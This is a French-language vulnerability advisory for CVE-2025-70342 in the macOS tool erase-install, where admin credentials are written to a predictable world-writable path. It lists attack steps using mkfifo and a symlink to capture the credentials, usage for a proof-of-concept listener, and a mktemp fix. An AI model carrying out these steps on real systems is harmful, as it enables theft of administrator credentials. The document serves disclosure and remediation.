
CVE-2025-70342: Interception d'identifiants via Named Pipe dans erase-install
erase-install antérieur à v40.4 (commit 2c31239) écrit la sortie des identifiants de swiftDialog dans un chemin codé en dur /var/tmp/dialog.json. Sur les Mac Apple Silicon, les identifiants administrateur saisis lors des opérations de réinstallation/effacement sont écrits dans cet emplacement prévisible et accessible en écriture par tous. Un attaquant local non privilégié peut créer un named pipe (FIFO) à ce chemin pour intercepter les identifiants administrateur en temps réel.
Score : 7.1 (Élevé)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Local |
| Complexité d'attaque | Faible |
| Privilèges requis | Faibles |
| Interaction utilisateur | Requise (l'admin saisit les identifiants) |
| Portée | Inchangée |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Aucune |
Fichier : erase-install.sh
Ligne 72 :
dialog_output="/var/tmp/dialog.json"
Ligne 124 :
"$dialog_bin" "${dialog_args[@]}" ... 2>/dev/null > "$dialog_output"
Sur les Mac Apple Silicon, erase-install invite l'administrateur à saisir ses identifiants via swiftDialog. Les identifiants (nom d'utilisateur + mot de passe) sont écrits via une redirection shell vers /var/tmp/dialog.json - un chemin codé en dur dans un répertoire accessible en écriture par tous. Le script ne vérifie pas si ce chemin a été altéré avant d'écrire.
1. Unprivileged attacker creates a named pipe (FIFO): mkfifo /tmp/.fifo
2. Attacker creates symlink: ln -s /tmp/.fifo /var/tmp/dialog.json
3. Attacker reads from FIFO (blocks, waiting for data)
4. Admin runs: sudo erase-install.sh --erase
5. Admin enters credentials in swiftDialog prompt
6. Credentials flow through symlink → FIFO → attacker's terminal
Cette attaque ne nécessite aucun timing particulier ni condition de concurrence - l'attaquant n'a qu'à placer le symlink et attendre.
# Start the listener (as unprivileged user)
python3 poc.py
# Wait for admin to run erase-install with --erase or --reinstall
# Credentials will be printed to stdout when captured
# Cleanup
python3 poc.py --cleanup
Voir poc.py pour tous les détails.
mktemp pour générer un nom de fichier aléatoire, empêchant la prédiction du chemin :- dialog_output="/var/tmp/dialog.json"
+ dialog_output=$(/usr/bin/mktemp /var/tmp/dialog.XXX.json)
| Date | Événement |
|---|---|
| 2025-12-23 | Vulnérabilité découverte |
| 2025-12-23 | Problème signalé au mainteneur |
| 2025-12-24 | Correctif fusionné via la PR #574 |
Cette preuve de concept est fournie à des fins éducatives et de tests de sécurité autorisés uniquement. Utilisez-la de manière responsable et uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation explicite de test.
| 2026-02-20 | CVE-2025-70342 attribué |